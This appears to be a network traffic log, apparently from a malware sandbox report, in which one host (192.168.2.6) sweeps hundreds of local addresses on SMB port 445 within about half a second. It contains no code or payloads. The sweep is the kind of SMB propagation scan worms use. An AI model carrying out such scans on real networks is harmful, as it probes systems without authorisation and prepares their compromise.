Jul 6, 2024 14:11:29.669589043 CEST	445	51268	192.168.0.237	192.168.2.6
Jul 6, 2024 14:11:29.670101881 CEST	51272	445	192.168.2.6	192.168.0.238
Jul 6, 2024 14:11:29.670101881 CEST	51267	445	192.168.2.6	192.168.0.236
Jul 6, 2024 14:11:29.670101881 CEST	51268	445	192.168.2.6	192.168.0.237
Jul 6, 2024 14:11:29.673568964 CEST	445	51270	192.168.0.109	192.168.2.6
Jul 6, 2024 14:11:29.673794985 CEST	445	51270	192.168.0.109	192.168.2.6
Jul 6, 2024 14:11:29.677423954 CEST	445	51272	192.168.0.238	192.168.2.6
Jul 6, 2024 14:11:29.678325891 CEST	51272	445	192.168.2.6	192.168.0.238
Jul 6, 2024 14:11:29.678325891 CEST	51272	445	192.168.2.6	192.168.0.238
Jul 6, 2024 14:11:29.680083990 CEST	51273	445	192.168.2.6	192.168.0.110
Jul 6, 2024 14:11:29.682934999 CEST	51275	445	192.168.2.6	192.168.0.239
Jul 6, 2024 14:11:29.683702946 CEST	445	51272	192.168.0.238	192.168.2.6
Jul 6, 2024 14:11:29.684966087 CEST	51272	445	192.168.2.6	192.168.0.238
Jul 6, 2024 14:11:29.685359955 CEST	445	51273	192.168.0.110	192.168.2.6
Jul 6, 2024 14:11:29.686867952 CEST	51273	445	192.168.2.6	192.168.0.110
Jul 6, 2024 14:11:29.686867952 CEST	51273	445	192.168.2.6	192.168.0.110
Jul 6, 2024 14:11:29.693131924 CEST	445	51273	192.168.0.110	192.168.2.6
Jul 6, 2024 14:11:29.693787098 CEST	445	51273	192.168.0.110	192.168.2.6
Jul 6, 2024 14:11:29.695972919 CEST	51276	445	192.168.2.6	192.168.0.111
Jul 6, 2024 14:11:29.696526051 CEST	51277	445	192.168.2.6	192.168.0.240
Jul 6, 2024 14:11:29.698472977 CEST	445	51275	192.168.0.239	192.168.2.6
Jul 6, 2024 14:11:29.698683977 CEST	51275	445	192.168.2.6	192.168.0.239
Jul 6, 2024 14:11:29.698683977 CEST	51275	445	192.168.2.6	192.168.0.239
Jul 6, 2024 14:11:29.700941086 CEST	445	51276	192.168.0.111	192.168.2.6
Jul 6, 2024 14:11:29.703634977 CEST	445	51277	192.168.0.240	192.168.2.6
Jul 6, 2024 14:11:29.703689098 CEST	51277	445	192.168.2.6	192.168.0.240
Jul 6, 2024 14:11:29.703767061 CEST	51277	445	192.168.2.6	192.168.0.240
Jul 6, 2024 14:11:29.703968048 CEST	51276	445	192.168.2.6	192.168.0.111
Jul 6, 2024 14:11:29.703968048 CEST	51276	445	192.168.2.6	192.168.0.111
Jul 6, 2024 14:11:29.704740047 CEST	445	51275	192.168.0.239	192.168.2.6
Jul 6, 2024 14:11:29.709367990 CEST	445	51277	192.168.0.240	192.168.2.6
Jul 6, 2024 14:11:29.709635973 CEST	51275	445	192.168.2.6	192.168.0.239
Jul 6, 2024 14:11:29.709635973 CEST	51277	445	192.168.2.6	192.168.0.240
Jul 6, 2024 14:11:29.712143898 CEST	445	51276	192.168.0.111	192.168.2.6
Jul 6, 2024 14:11:29.714880943 CEST	445	51277	192.168.0.240	192.168.2.6
Jul 6, 2024 14:11:29.717616081 CEST	51280	445	192.168.2.6	192.168.0.241
Jul 6, 2024 14:11:29.722538948 CEST	445	51280	192.168.0.241	192.168.2.6
Jul 6, 2024 14:11:29.724137068 CEST	51280	445	192.168.2.6	192.168.0.241
Jul 6, 2024 14:11:29.725369930 CEST	51280	445	192.168.2.6	192.168.0.241
Jul 6, 2024 14:11:29.730846882 CEST	445	51280	192.168.0.241	192.168.2.6
Jul 6, 2024 14:11:29.730874062 CEST	445	51280	192.168.0.241	192.168.2.6
Jul 6, 2024 14:11:29.731594086 CEST	51280	445	192.168.2.6	192.168.0.241
Jul 6, 2024 14:11:29.765258074 CEST	51282	445	192.168.2.6	192.168.0.113
Jul 6, 2024 14:11:29.765785933 CEST	51281	445	192.168.2.6	192.168.0.112
Jul 6, 2024 14:11:29.765785933 CEST	51283	445	192.168.2.6	192.168.0.114
Jul 6, 2024 14:11:29.765785933 CEST	51284	445	192.168.2.6	192.168.0.115
Jul 6, 2024 14:11:29.771856070 CEST	51285	445	192.168.2.6	192.168.0.116
Jul 6, 2024 14:11:29.775564909 CEST	445	51281	192.168.0.112	192.168.2.6
Jul 6, 2024 14:11:29.775588989 CEST	445	51283	192.168.0.114	192.168.2.6
Jul 6, 2024 14:11:29.775598049 CEST	445	51284	192.168.0.115	192.168.2.6
Jul 6, 2024 14:11:29.777831078 CEST	445	51285	192.168.0.116	192.168.2.6
Jul 6, 2024 14:11:29.779922009 CEST	445	51282	192.168.0.113	192.168.2.6
Jul 6, 2024 14:11:29.782198906 CEST	51285	445	192.168.2.6	192.168.0.116
Jul 6, 2024 14:11:29.782198906 CEST	51285	445	192.168.2.6	192.168.0.116
Jul 6, 2024 14:11:29.782459974 CEST	51281	445	192.168.2.6	192.168.0.112
Jul 6, 2024 14:11:29.782459974 CEST	51283	445	192.168.2.6	192.168.0.114
Jul 6, 2024 14:11:29.782459974 CEST	51284	445	192.168.2.6	192.168.0.115
Jul 6, 2024 14:11:29.782459974 CEST	51281	445	192.168.2.6	192.168.0.112
Jul 6, 2024 14:11:29.782459974 CEST	51283	445	192.168.2.6	192.168.0.114
Jul 6, 2024 14:11:29.782459974 CEST	51284	445	192.168.2.6	192.168.0.115
Jul 6, 2024 14:11:29.786045074 CEST	51282	445	192.168.2.6	192.168.0.113
Jul 6, 2024 14:11:29.786045074 CEST	51282	445	192.168.2.6	192.168.0.113
Jul 6, 2024 14:11:29.787331104 CEST	445	51281	192.168.0.112	192.168.2.6
Jul 6, 2024 14:11:29.787339926 CEST	445	51283	192.168.0.114	192.168.2.6
Jul 6, 2024 14:11:29.787348986 CEST	445	51284	192.168.0.115	192.168.2.6
Jul 6, 2024 14:11:29.788014889 CEST	445	51281	192.168.0.112	192.168.2.6
Jul 6, 2024 14:11:29.788523912 CEST	445	51283	192.168.0.114	192.168.2.6
Jul 6, 2024 14:11:29.788532972 CEST	445	51284	192.168.0.115	192.168.2.6
Jul 6, 2024 14:11:29.788624048 CEST	445	51285	192.168.0.116	192.168.2.6
Jul 6, 2024 14:11:29.789746046 CEST	445	51285	192.168.0.116	192.168.2.6
Jul 6, 2024 14:11:29.805737019 CEST	445	51282	192.168.0.113	192.168.2.6
Jul 6, 2024 14:11:29.805994034 CEST	445	51282	192.168.0.113	192.168.2.6
Jul 6, 2024 14:11:29.821917057 CEST	51286	445	192.168.2.6	192.168.0.117
Jul 6, 2024 14:11:29.827986956 CEST	51287	445	192.168.2.6	192.168.0.118
Jul 6, 2024 14:11:29.830147982 CEST	445	51286	192.168.0.117	192.168.2.6
Jul 6, 2024 14:11:29.830926895 CEST	51286	445	192.168.2.6	192.168.0.117
Jul 6, 2024 14:11:29.832493067 CEST	51286	445	192.168.2.6	192.168.0.117
Jul 6, 2024 14:11:29.839566946 CEST	51288	445	192.168.2.6	192.168.0.119
Jul 6, 2024 14:11:29.843919992 CEST	445	51286	192.168.0.117	192.168.2.6
Jul 6, 2024 14:11:29.843928099 CEST	445	51286	192.168.0.117	192.168.2.6
Jul 6, 2024 14:11:29.850327969 CEST	445	51287	192.168.0.118	192.168.2.6
Jul 6, 2024 14:11:29.850398064 CEST	51287	445	192.168.2.6	192.168.0.118
Jul 6, 2024 14:11:29.850744009 CEST	51289	445	192.168.2.6	192.168.0.120
Jul 6, 2024 14:11:29.850959063 CEST	51290	445	192.168.2.6	192.168.0.242
Jul 6, 2024 14:11:29.852199078 CEST	445	51288	192.168.0.119	192.168.2.6
Jul 6, 2024 14:11:29.853049994 CEST	51288	445	192.168.2.6	192.168.0.119
Jul 6, 2024 14:11:29.853539944 CEST	51287	445	192.168.2.6	192.168.0.118
Jul 6, 2024 14:11:29.855489016 CEST	51288	445	192.168.2.6	192.168.0.119
Jul 6, 2024 14:11:29.859828949 CEST	445	51289	192.168.0.120	192.168.2.6
Jul 6, 2024 14:11:29.859838963 CEST	445	51290	192.168.0.242	192.168.2.6
Jul 6, 2024 14:11:29.859891891 CEST	51289	445	192.168.2.6	192.168.0.120
Jul 6, 2024 14:11:29.859926939 CEST	51290	445	192.168.2.6	192.168.0.242
Jul 6, 2024 14:11:29.860507011 CEST	445	51287	192.168.0.118	192.168.2.6
Jul 6, 2024 14:11:29.861402988 CEST	445	51288	192.168.0.119	192.168.2.6
Jul 6, 2024 14:11:29.861502886 CEST	51289	445	192.168.2.6	192.168.0.120
Jul 6, 2024 14:11:29.861766100 CEST	51290	445	192.168.2.6	192.168.0.242
Jul 6, 2024 14:11:29.861908913 CEST	445	51287	192.168.0.118	192.168.2.6
Jul 6, 2024 14:11:29.862880945 CEST	445	51288	192.168.0.119	192.168.2.6
Jul 6, 2024 14:11:29.864957094 CEST	445	51289	192.168.0.120	192.168.2.6
Jul 6, 2024 14:11:29.865667105 CEST	445	51290	192.168.0.242	192.168.2.6
Jul 6, 2024 14:11:29.866753101 CEST	445	51289	192.168.0.120	192.168.2.6
Jul 6, 2024 14:11:29.866763115 CEST	445	51290	192.168.0.242	192.168.2.6
Jul 6, 2024 14:11:29.870742083 CEST	51293	445	192.168.2.6	192.168.0.243
Jul 6, 2024 14:11:29.870742083 CEST	51289	445	192.168.2.6	192.168.0.120
Jul 6, 2024 14:11:29.870742083 CEST	51290	445	192.168.2.6	192.168.0.242
Jul 6, 2024 14:11:29.876235962 CEST	445	51293	192.168.0.243	192.168.2.6
Jul 6, 2024 14:11:29.876245022 CEST	445	51289	192.168.0.120	192.168.2.6
Jul 6, 2024 14:11:29.876437902 CEST	51293	445	192.168.2.6	192.168.0.243
Jul 6, 2024 14:11:29.881731033 CEST	51295	445	192.168.2.6	192.168.0.121
Jul 6, 2024 14:11:29.884160042 CEST	51293	445	192.168.2.6	192.168.0.243
Jul 6, 2024 14:11:29.884160042 CEST	51294	445	192.168.2.6	192.168.0.122
Jul 6, 2024 14:11:29.887567997 CEST	445	51295	192.168.0.121	192.168.2.6
Jul 6, 2024 14:11:29.888515949 CEST	51297	445	192.168.2.6	192.168.0.244
Jul 6, 2024 14:11:29.888715982 CEST	51296	445	192.168.2.6	192.168.0.123
Jul 6, 2024 14:11:29.890186071 CEST	51295	445	192.168.2.6	192.168.0.121
Jul 6, 2024 14:11:29.890186071 CEST	51295	445	192.168.2.6	192.168.0.121
Jul 6, 2024 14:11:29.890635967 CEST	445	51293	192.168.0.243	192.168.2.6
Jul 6, 2024 14:11:29.891535044 CEST	51300	445	192.168.2.6	192.168.0.245
Jul 6, 2024 14:11:29.892132998 CEST	445	51293	192.168.0.243	192.168.2.6
Jul 6, 2024 14:11:29.892143011 CEST	445	51294	192.168.0.122	192.168.2.6
Jul 6, 2024 14:11:29.893603086 CEST	445	51297	192.168.0.244	192.168.2.6
Jul 6, 2024 14:11:29.894105911 CEST	51302	445	192.168.2.6	192.168.0.246
Jul 6, 2024 14:11:29.894105911 CEST	51297	445	192.168.2.6	192.168.0.244
Jul 6, 2024 14:11:29.894105911 CEST	51297	445	192.168.2.6	192.168.0.244
Jul 6, 2024 14:11:29.894303083 CEST	445	51296	192.168.0.123	192.168.2.6
Jul 6, 2024 14:11:29.894354105 CEST	51296	445	192.168.2.6	192.168.0.123
Jul 6, 2024 14:11:29.895992994 CEST	445	51295	192.168.0.121	192.168.2.6
Jul 6, 2024 14:11:29.896642923 CEST	445	51295	192.168.0.121	192.168.2.6
Jul 6, 2024 14:11:29.898088932 CEST	445	51300	192.168.0.245	192.168.2.6
Jul 6, 2024 14:11:29.898164034 CEST	51300	445	192.168.2.6	192.168.0.245
Jul 6, 2024 14:11:29.898646116 CEST	51296	445	192.168.2.6	192.168.0.123
Jul 6, 2024 14:11:29.899606943 CEST	51293	445	192.168.2.6	192.168.0.243
Jul 6, 2024 14:11:29.899606943 CEST	51294	445	192.168.2.6	192.168.0.122
Jul 6, 2024 14:11:29.899606943 CEST	51294	445	192.168.2.6	192.168.0.122
Jul 6, 2024 14:11:29.906893969 CEST	51300	445	192.168.2.6	192.168.0.245
Jul 6, 2024 14:11:29.909933090 CEST	51303	445	192.168.2.6	192.168.0.247
Jul 6, 2024 14:11:29.918436050 CEST	51304	445	192.168.2.6	192.168.0.124
Jul 6, 2024 14:11:29.927138090 CEST	51306	445	192.168.2.6	192.168.0.248
Jul 6, 2024 14:11:29.928764105 CEST	51308	445	192.168.2.6	192.168.0.126
Jul 6, 2024 14:11:29.930013895 CEST	51310	445	192.168.2.6	192.168.0.249
Jul 6, 2024 14:11:29.931499958 CEST	51311	445	192.168.2.6	192.168.0.250
Jul 6, 2024 14:11:29.934808969 CEST	51313	445	192.168.2.6	192.168.0.251
Jul 6, 2024 14:11:29.943914890 CEST	51316	445	192.168.2.6	192.168.0.252
Jul 6, 2024 14:11:29.947521925 CEST	51317	445	192.168.2.6	192.168.0.125
Jul 6, 2024 14:11:29.948839903 CEST	51318	445	192.168.2.6	192.168.0.253
Jul 6, 2024 14:11:29.962604046 CEST	51320	445	192.168.2.6	192.168.0.128
Jul 6, 2024 14:11:29.962645054 CEST	51321	445	192.168.2.6	192.168.0.127
Jul 6, 2024 14:11:29.968955994 CEST	51323	445	192.168.2.6	192.168.0.254
Jul 6, 2024 14:11:29.969763041 CEST	445	51302	192.168.0.246	192.168.2.6
Jul 6, 2024 14:11:29.969809055 CEST	445	51296	192.168.0.123	192.168.2.6
Jul 6, 2024 14:11:29.969854116 CEST	51302	445	192.168.2.6	192.168.0.246
Jul 6, 2024 14:11:29.969944000 CEST	51302	445	192.168.2.6	192.168.0.246
Jul 6, 2024 14:11:29.970150948 CEST	445	51297	192.168.0.244	192.168.2.6
Jul 6, 2024 14:11:29.970691919 CEST	445	51294	192.168.0.122	192.168.2.6
Jul 6, 2024 14:11:29.971548080 CEST	445	51303	192.168.0.247	192.168.2.6
Jul 6, 2024 14:11:29.971591949 CEST	445	51304	192.168.0.124	192.168.2.6
Jul 6, 2024 14:11:29.971616983 CEST	445	51306	192.168.0.248	192.168.2.6
Jul 6, 2024 14:11:29.971626997 CEST	445	51300	192.168.0.245	192.168.2.6
Jul 6, 2024 14:11:29.971656084 CEST	445	51308	192.168.0.126	192.168.2.6
Jul 6, 2024 14:11:29.971663952 CEST	445	51310	192.168.0.249	192.168.2.6
Jul 6, 2024 14:11:29.971673965 CEST	445	51311	192.168.0.250	192.168.2.6
Jul 6, 2024 14:11:29.971751928 CEST	445	51313	192.168.0.251	192.168.2.6
Jul 6, 2024 14:11:29.971762896 CEST	445	51316	192.168.0.252	192.168.2.6
Jul 6, 2024 14:11:29.971771955 CEST	445	51317	192.168.0.125	192.168.2.6
Jul 6, 2024 14:11:29.971826077 CEST	445	51318	192.168.0.253	192.168.2.6
Jul 6, 2024 14:11:29.971862078 CEST	445	51320	192.168.0.128	192.168.2.6
Jul 6, 2024 14:11:29.971878052 CEST	445	51321	192.168.0.127	192.168.2.6
Jul 6, 2024 14:11:29.972395897 CEST	51306	445	192.168.2.6	192.168.0.248
Jul 6, 2024 14:11:29.972395897 CEST	51310	445	192.168.2.6	192.168.0.249
Jul 6, 2024 14:11:29.972395897 CEST	51306	445	192.168.2.6	192.168.0.248
Jul 6, 2024 14:11:29.972840071 CEST	51311	445	192.168.2.6	192.168.0.250
Jul 6, 2024 14:11:29.972840071 CEST	51316	445	192.168.2.6	192.168.0.252
Jul 6, 2024 14:11:29.972840071 CEST	51318	445	192.168.2.6	192.168.0.253
Jul 6, 2024 14:11:29.972840071 CEST	51316	445	192.168.2.6	192.168.0.252
Jul 6, 2024 14:11:29.972840071 CEST	51318	445	192.168.2.6	192.168.0.253
Jul 6, 2024 14:11:29.974554062 CEST	51303	445	192.168.2.6	192.168.0.247
Jul 6, 2024 14:11:29.974555016 CEST	51320	445	192.168.2.6	192.168.0.128
Jul 6, 2024 14:11:29.974973917 CEST	51317	445	192.168.2.6	192.168.0.125
Jul 6, 2024 14:11:29.974973917 CEST	51317	445	192.168.2.6	192.168.0.125
Jul 6, 2024 14:11:29.975512981 CEST	51321	445	192.168.2.6	192.168.0.127
Jul 6, 2024 14:11:29.975512981 CEST	51321	445	192.168.2.6	192.168.0.127
Jul 6, 2024 14:11:29.975944996 CEST	51311	445	192.168.2.6	192.168.0.250
Jul 6, 2024 14:11:29.978091002 CEST	445	51323	192.168.0.254	192.168.2.6
Jul 6, 2024 14:11:29.982568026 CEST	445	51297	192.168.0.244	192.168.2.6
Jul 6, 2024 14:11:29.985236883 CEST	445	51302	192.168.0.246	192.168.2.6
Jul 6, 2024 14:11:29.985249043 CEST	445	51318	192.168.0.253	192.168.2.6
Jul 6, 2024 14:11:29.985258102 CEST	445	51316	192.168.0.252	192.168.2.6
Jul 6, 2024 14:11:29.986191034 CEST	51325	445	192.168.2.6	192.168.1.1
Jul 6, 2024 14:11:29.986679077 CEST	445	51300	192.168.0.245	192.168.2.6
Jul 6, 2024 14:11:29.987164974 CEST	51310	445	192.168.2.6	192.168.0.249
Jul 6, 2024 14:11:29.987164974 CEST	51323	445	192.168.2.6	192.168.0.254
Jul 6, 2024 14:11:29.987831116 CEST	445	51294	192.168.0.122	192.168.2.6
Jul 6, 2024 14:11:29.987970114 CEST	51303	445	192.168.2.6	192.168.0.247
Jul 6, 2024 14:11:29.987970114 CEST	51320	445	192.168.2.6	192.168.0.128
Jul 6, 2024 14:11:29.987970114 CEST	51324	445	192.168.2.6	192.168.0.129
Jul 6, 2024 14:11:29.988200903 CEST	445	51302	192.168.0.246	192.168.2.6
Jul 6, 2024 14:11:29.988255024 CEST	445	51311	192.168.0.250	192.168.2.6
Jul 6, 2024 14:11:29.988290071 CEST	445	51311	192.168.0.250	192.168.2.6
Jul 6, 2024 14:11:29.988306999 CEST	445	51316	192.168.0.252	192.168.2.6
Jul 6, 2024 14:11:29.988316059 CEST	445	51318	192.168.0.253	192.168.2.6
Jul 6, 2024 14:11:29.988347054 CEST	51311	445	192.168.2.6	192.168.0.250
Jul 6, 2024 14:11:29.988347054 CEST	51316	445	192.168.2.6	192.168.0.252
Jul 6, 2024 14:11:29.989165068 CEST	445	51321	192.168.0.127	192.168.2.6
Jul 6, 2024 14:11:29.989340067 CEST	445	51317	192.168.0.125	192.168.2.6
Jul 6, 2024 14:11:29.989938974 CEST	51318	445	192.168.2.6	192.168.0.253
Jul 6, 2024 14:11:29.990092039 CEST	445	51306	192.168.0.248	192.168.2.6
Jul 6, 2024 14:11:29.991909981 CEST	445	51321	192.168.0.127	192.168.2.6
Jul 6, 2024 14:11:29.991964102 CEST	445	51317	192.168.0.125	192.168.2.6
Jul 6, 2024 14:11:29.992432117 CEST	445	51310	192.168.0.249	192.168.2.6
Jul 6, 2024 14:11:29.994590998 CEST	51321	445	192.168.2.6	192.168.0.127
Jul 6, 2024 14:11:29.995130062 CEST	51304	445	192.168.2.6	192.168.0.124
Jul 6, 2024 14:11:29.995130062 CEST	51308	445	192.168.2.6	192.168.0.126
Jul 6, 2024 14:11:29.995130062 CEST	51304	445	192.168.2.6	192.168.0.124
Jul 6, 2024 14:11:29.995130062 CEST	51308	445	192.168.2.6	192.168.0.126
Jul 6, 2024 14:11:29.995898962 CEST	445	51306	192.168.0.248	192.168.2.6
Jul 6, 2024 14:11:29.995913982 CEST	445	51310	192.168.0.249	192.168.2.6
Jul 6, 2024 14:11:29.995974064 CEST	445	51320	192.168.0.128	192.168.2.6
Jul 6, 2024 14:11:29.996637106 CEST	445	51303	192.168.0.247	192.168.2.6
Jul 6, 2024 14:11:29.997080088 CEST	51297	445	192.168.2.6	192.168.0.244
Jul 6, 2024 14:11:29.997080088 CEST	51302	445	192.168.2.6	192.168.0.246
Jul 6, 2024 14:11:29.997080088 CEST	51303	445	192.168.2.6	192.168.0.247
Jul 6, 2024 14:11:29.997664928 CEST	445	51320	192.168.0.128	192.168.2.6
Jul 6, 2024 14:11:30.000135899 CEST	51330	445	192.168.2.6	192.168.1.2
Jul 6, 2024 14:11:30.001224995 CEST	445	51324	192.168.0.129	192.168.2.6
Jul 6, 2024 14:11:30.001246929 CEST	445	51325	192.168.1.1	192.168.2.6
Jul 6, 2024 14:11:30.001790047 CEST	51328	445	192.168.2.6	192.168.0.130
Jul 6, 2024 14:11:30.002428055 CEST	51306	445	192.168.2.6	192.168.0.248
Jul 6, 2024 14:11:30.002428055 CEST	51323	445	192.168.2.6	192.168.0.254
Jul 6, 2024 14:11:30.002428055 CEST	51310	445	192.168.2.6	192.168.0.249
Jul 6, 2024 14:11:30.003623962 CEST	51317	445	192.168.2.6	192.168.0.125
Jul 6, 2024 14:11:30.003623962 CEST	51325	445	192.168.2.6	192.168.1.1
Jul 6, 2024 14:11:30.003623962 CEST	51325	445	192.168.2.6	192.168.1.1
Jul 6, 2024 14:11:30.004144907 CEST	51324	445	192.168.2.6	192.168.0.129
Jul 6, 2024 14:11:30.004144907 CEST	51324	445	192.168.2.6	192.168.0.129
Jul 6, 2024 14:11:30.004940987 CEST	51313	445	192.168.2.6	192.168.0.251
Jul 6, 2024 14:11:30.004940987 CEST	51313	445	192.168.2.6	192.168.0.251
Jul 6, 2024 14:11:30.007136106 CEST	445	51321	192.168.0.127	192.168.2.6
Jul 6, 2024 14:11:30.009495020 CEST	51300	445	192.168.2.6	192.168.0.245
Jul 6, 2024 14:11:30.009495020 CEST	51327	445	192.168.2.6	192.168.0.131
Jul 6, 2024 14:11:30.009965897 CEST	445	51328	192.168.0.130	192.168.2.6
Jul 6, 2024 14:11:30.010045052 CEST	51328	445	192.168.2.6	192.168.0.130
Jul 6, 2024 14:11:30.010119915 CEST	51328	445	192.168.2.6	192.168.0.130
Jul 6, 2024 14:11:30.010334969 CEST	445	51323	192.168.0.254	192.168.2.6
Jul 6, 2024 14:11:30.010808945 CEST	445	51330	192.168.1.2	192.168.2.6
Jul 6, 2024 14:11:30.015022039 CEST	445	51313	192.168.0.251	192.168.2.6
Jul 6, 2024 14:11:30.017590046 CEST	51323	445	192.168.2.6	192.168.0.254
Jul 6, 2024 14:11:30.017610073 CEST	445	51304	192.168.0.124	192.168.2.6
Jul 6, 2024 14:11:30.017702103 CEST	445	51308	192.168.0.126	192.168.2.6
Jul 6, 2024 14:11:30.017710924 CEST	445	51317	192.168.0.125	192.168.2.6
Jul 6, 2024 14:11:30.018100023 CEST	445	51323	192.168.0.254	192.168.2.6
Jul 6, 2024 14:11:30.021009922 CEST	445	51324	192.168.0.129	192.168.2.6
Jul 6, 2024 14:11:30.023000002 CEST	445	51328	192.168.0.130	192.168.2.6
Jul 6, 2024 14:11:30.024009943 CEST	51335	445	192.168.2.6	192.168.1.4
Jul 6, 2024 14:11:30.024277925 CEST	51331	445	192.168.2.6	192.168.0.132
Jul 6, 2024 14:11:30.024277925 CEST	51333	445	192.168.2.6	192.168.1.3
Jul 6, 2024 14:11:30.024277925 CEST	51330	445	192.168.2.6	192.168.1.2
Jul 6, 2024 14:11:30.024279118 CEST	51330	445	192.168.2.6	192.168.1.2
Jul 6, 2024 14:11:30.029835939 CEST	51334	445	192.168.2.6	192.168.0.133
Jul 6, 2024 14:11:30.037739992 CEST	51313	445	192.168.2.6	192.168.0.251
Jul 6, 2024 14:11:30.039829016 CEST	51337	445	192.168.2.6	192.168.1.5
Jul 6, 2024 14:11:30.047676086 CEST	445	51325	192.168.1.1	192.168.2.6
Jul 6, 2024 14:11:30.047718048 CEST	445	51327	192.168.0.131	192.168.2.6
Jul 6, 2024 14:11:30.047756910 CEST	445	51313	192.168.0.251	192.168.2.6
Jul 6, 2024 14:11:30.048141956 CEST	51327	445	192.168.2.6	192.168.0.131
Jul 6, 2024 14:11:30.048142910 CEST	51327	445	192.168.2.6	192.168.0.131
Jul 6, 2024 14:11:30.049343109 CEST	445	51335	192.168.1.4	192.168.2.6
Jul 6, 2024 14:11:30.049388885 CEST	445	51331	192.168.0.132	192.168.2.6
Jul 6, 2024 14:11:30.049422026 CEST	51335	445	192.168.2.6	192.168.1.4
Jul 6, 2024 14:11:30.049455881 CEST	51331	445	192.168.2.6	192.168.0.132
Jul 6, 2024 14:11:30.049531937 CEST	51331	445	192.168.2.6	192.168.0.132
Jul 6, 2024 14:11:30.049551010 CEST	445	51333	192.168.1.3	192.168.2.6
Jul 6, 2024 14:11:30.049648046 CEST	51333	445	192.168.2.6	192.168.1.3
Jul 6, 2024 14:11:30.049675941 CEST	51333	445	192.168.2.6	192.168.1.3
Jul 6, 2024 14:11:30.050088882 CEST	445	51304	192.168.0.124	192.168.2.6
Jul 6, 2024 14:11:30.050158024 CEST	445	51334	192.168.0.133	192.168.2.6
Jul 6, 2024 14:11:30.050187111 CEST	445	51308	192.168.0.126	192.168.2.6
Jul 6, 2024 14:11:30.050578117 CEST	51334	445	192.168.2.6	192.168.0.133
Jul 6, 2024 14:11:30.050579071 CEST	51334	445	192.168.2.6	192.168.0.133
Jul 6, 2024 14:11:30.050681114 CEST	445	51337	192.168.1.5	192.168.2.6
Jul 6, 2024 14:11:30.050740004 CEST	51337	445	192.168.2.6	192.168.1.5
Jul 6, 2024 14:11:30.050805092 CEST	51337	445	192.168.2.6	192.168.1.5
Jul 6, 2024 14:11:30.050831079 CEST	445	51330	192.168.1.2	192.168.2.6
Jul 6, 2024 14:11:30.051732063 CEST	445	51324	192.168.0.129	192.168.2.6
Jul 6, 2024 14:11:30.051739931 CEST	445	51328	192.168.0.130	192.168.2.6
Jul 6, 2024 14:11:30.051851034 CEST	445	51325	192.168.1.1	192.168.2.6
Jul 6, 2024 14:11:30.051898956 CEST	51325	445	192.168.2.6	192.168.1.1
Jul 6, 2024 14:11:30.053811073 CEST	51335	445	192.168.2.6	192.168.1.4
Jul 6, 2024 14:11:30.054220915 CEST	445	51330	192.168.1.2	192.168.2.6
Jul 6, 2024 14:11:30.054579973 CEST	51330	445	192.168.2.6	192.168.1.2
Jul 6, 2024 14:11:30.055536032 CEST	445	51331	192.168.0.132	192.168.2.6
Jul 6, 2024 14:11:30.056329012 CEST	445	51327	192.168.0.131	192.168.2.6
Jul 6, 2024 14:11:30.056337118 CEST	445	51335	192.168.1.4	192.168.2.6
Jul 6, 2024 14:11:30.056546926 CEST	445	51331	192.168.0.132	192.168.2.6
Jul 6, 2024 14:11:30.056694984 CEST	445	51333	192.168.1.3	192.168.2.6
Jul 6, 2024 14:11:30.057497978 CEST	445	51327	192.168.0.131	192.168.2.6
Jul 6, 2024 14:11:30.057506084 CEST	445	51337	192.168.1.5	192.168.2.6
Jul 6, 2024 14:11:30.058104992 CEST	51335	445	192.168.2.6	192.168.1.4
Jul 6, 2024 14:11:30.058104992 CEST	51337	445	192.168.2.6	192.168.1.5
Jul 6, 2024 14:11:30.058156013 CEST	445	51334	192.168.0.133	192.168.2.6
Jul 6, 2024 14:11:30.058749914 CEST	445	51335	192.168.1.4	192.168.2.6
Jul 6, 2024 14:11:30.060570002 CEST	51334	445	192.168.2.6	192.168.0.133
Jul 6, 2024 14:11:30.060969114 CEST	445	51334	192.168.0.133	192.168.2.6
Jul 6, 2024 14:11:30.065570116 CEST	51333	445	192.168.2.6	192.168.1.3
Jul 6, 2024 14:11:30.068964958 CEST	51327	445	192.168.2.6	192.168.0.131
Jul 6, 2024 14:11:30.069634914 CEST	51342	445	192.168.2.6	192.168.0.135
Jul 6, 2024 14:11:30.073077917 CEST	445	51334	192.168.0.133	192.168.2.6
Jul 6, 2024 14:11:30.073332071 CEST	51339	445	192.168.2.6	192.168.1.6
Jul 6, 2024 14:11:30.076523066 CEST	445	51327	192.168.0.131	192.168.2.6
Jul 6, 2024 14:11:30.079700947 CEST	445	51339	192.168.1.6	192.168.2.6
Jul 6, 2024 14:11:30.082022905 CEST	445	51342	192.168.0.135	192.168.2.6
Jul 6, 2024 14:11:30.084460974 CEST	51342	445	192.168.2.6	192.168.0.135
Jul 6, 2024 14:11:30.084461927 CEST	51342	445	192.168.2.6	192.168.0.135
Jul 6, 2024 14:11:30.085194111 CEST	51341	445	192.168.2.6	192.168.0.134
Jul 6, 2024 14:11:30.086838007 CEST	51343	445	192.168.2.6	192.168.1.7
Jul 6, 2024 14:11:30.086838007 CEST	51339	445	192.168.2.6	192.168.1.6
Jul 6, 2024 14:11:30.089582920 CEST	445	51342	192.168.0.135	192.168.2.6
Jul 6, 2024 14:11:30.089838982 CEST	445	51342	192.168.0.135	192.168.2.6
Jul 6, 2024 14:11:30.092022896 CEST	51342	445	192.168.2.6	192.168.0.135
Jul 6, 2024 14:11:30.093307972 CEST	51345	445	192.168.2.6	192.168.0.136
Jul 6, 2024 14:11:30.093436956 CEST	51347	445	192.168.2.6	192.168.1.8
Jul 6, 2024 14:11:30.097569942 CEST	445	51341	192.168.0.134	192.168.2.6
Jul 6, 2024 14:11:30.097636938 CEST	51341	445	192.168.2.6	192.168.0.134
Jul 6, 2024 14:11:30.098469973 CEST	445	51343	192.168.1.7	192.168.2.6
Jul 6, 2024 14:11:30.098779917 CEST	51341	445	192.168.2.6	192.168.0.134
Jul 6, 2024 14:11:30.100074053 CEST	445	51347	192.168.1.8	192.168.2.6
Jul 6, 2024 14:11:30.106810093 CEST	51347	445	192.168.2.6	192.168.1.8
Jul 6, 2024 14:11:30.106810093 CEST	51347	445	192.168.2.6	192.168.1.8
Jul 6, 2024 14:11:30.106810093 CEST	51348	445	192.168.2.6	192.168.1.9
Jul 6, 2024 14:11:30.108505964 CEST	445	51341	192.168.0.134	192.168.2.6
Jul 6, 2024 14:11:30.108531952 CEST	445	51342	192.168.0.135	192.168.2.6
Jul 6, 2024 14:11:30.114394903 CEST	51339	445	192.168.2.6	192.168.1.6
Jul 6, 2024 14:11:30.114394903 CEST	51343	445	192.168.2.6	192.168.1.7
Jul 6, 2024 14:11:30.114394903 CEST	51343	445	192.168.2.6	192.168.1.7
